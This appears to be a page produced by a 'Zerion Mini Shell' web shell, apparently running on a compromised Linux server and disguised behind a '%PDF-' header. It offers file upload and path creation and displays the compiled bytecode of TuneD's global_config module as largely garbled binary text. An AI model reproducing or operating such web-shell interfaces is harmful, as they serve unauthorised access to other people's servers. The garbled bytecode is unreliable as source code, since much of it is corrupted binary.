%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/tuned/utils/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/tuned/utils/__pycache__/global_config.cpython-39.opt-1.pyc

a

���h�
�@sfddlZddlZddlmZmZddlmZddlm	Z	ddl
mZdgZej
��ZGdd�d�ZdS)�N)�ConfigParser�Error)�TunedException)�commands�GlobalConfigc@speZdZejfdd�Zedd��Zejfdd�Zddd	�Z	dd
d�Z
dd
d�Zgfdd�Zdd�Z
ddd�ZdS)rcCsi|_|j|d�t�|_dS)N)�	file_name)�_cfg�load_configr�_cmd)�selfZconfig_file�r�=/usr/lib/python3.9/site-packages/tuned/utils/global_config.py�__init__szGlobalConfig.__init__cCs>dd�tt�D�}tdd�|D��}tdd�|D��}||fS)ai
		Easy validation mimicking configobj
		Returns two dicts, first with default values (default None)
		global_default[consts.CFG_SOMETHING] = consts.CFG_DEF_SOMETHING or None
		second with configobj function for value type (default "get" for string, others eg getboolean, getint)
		global_function[consts.CFG_SOMETHING] = consts.CFG_FUNC_SOMETHING or get
		}
		cSs.g|]&}|�d�r|�d�s|�d�s|�qS)ZCFG_�	CFG_FUNC_�CFG_DEF_)�
startswith��.0�optrrr
�
<listcomp>s


�z7GlobalConfig.get_global_config_spec.<locals>.<listcomp>css0|](}tt|�ttd|dd�d�fVqdS)r�N��getattr�constsrrrr
�	<genexpr>!�z6GlobalConfig.get_global_config_spec.<locals>.<genexpr>css0|](}tt|�ttd|dd�d�fVqdS)rrN�getrrrrr
r"r)�dirr�dict)�optionsZglobal_defaultZglobal_functionrrr
�get_global_config_specs
z#GlobalConfig.get_global_config_specc
Csnt�d|�z�tdddd�}t|_t|��.}|�dtjd|�	�|�Wd�n1s`0Y|�
�\|_}|�tj�D]~}||jvr�z$t
|||�}|tj|�|j|<Wnty�td	|��Yn0q�t�d
||f�|jtj|dd�|j|<q�Wnbt�y8}ztd
|��WYd}~n:d}~0t�yh}ztd|��WYd}~n
d}~00dS)z&
		Loads global configuration file.
		z2reading and parsing global configuration file '%s'�=�#F)Z
delimitersZinline_comment_prefixes�strict�[z]
Nz2Global TuneD configuration file '%s' is not valid.z/Unknown option '%s' in global config file '%s'.T)�rawz/Global TuneD configuration file '%s' not found.z3Error parsing global TuneD configuration file '%s'.)�log�debugr�strZoptionxform�openZread_stringrZMAGIC_HEADER_NAME�readr rrrrr�infor�IOError)rrZ
config_parser�fZ_global_config_func�option�func�errr
r	%s,
<
� zGlobalConfig.load_configNcCs|j�||�S�N)rr�r�key�defaultrrr
r@szGlobalConfig.getcCs |j�|�||��dkrdSdS)N�1TF)r
�get_boolrr2rrr
r6CszGlobalConfig.get_boolrcCsZ|j�||�}|rVt|t�r |Szt|d�WStyTt�dt|�|f�Yn0|S)Nrz'Error parsing integer '%s', using '%d'.)rr�
isinstance�int�
ValueErrorr&�errorr()rr3r4�irrr
�get_intHs
zGlobalConfig.get_intcCsB|j�||�}t|t�r|S|��dkr,gSdd�t�d|�D�S)N�cSsg|]}|���qSr)�strip)r�xrrr
rZrz)GlobalConfig.get_list.<locals>.<listcomp>z,|;)rrr7�listr>�re�split)rr3r4�valuerrr
�get_listTs
zGlobalConfig.get_listcCs||j|<dSr1)r)rr3rCrrr
�set\szGlobalConfig.setcCsH|�|�}|dur|S|j�|�}|dur@t�d||f�|S|SdS)Nz%Error parsing value '%s', using '%s'.)rr
�get_sizer&r:)rr3r4�val�retrrr
rF_s
zGlobalConfig.get_size)N)N)r)N)�__name__�
__module__�__qualname__rZGLOBAL_CONFIG_FILEr�staticmethodr r	rr6r<rDrErFrrrr
rs



)rAZ
tuned.logsZtunedZtuned.utils.config_parserrrZtuned.exceptionsrZtuned.constsrZtuned.utils.commandsr�__all__Zlogsrr&rrrrr
�<module>s


Zerion Mini Shell 1.0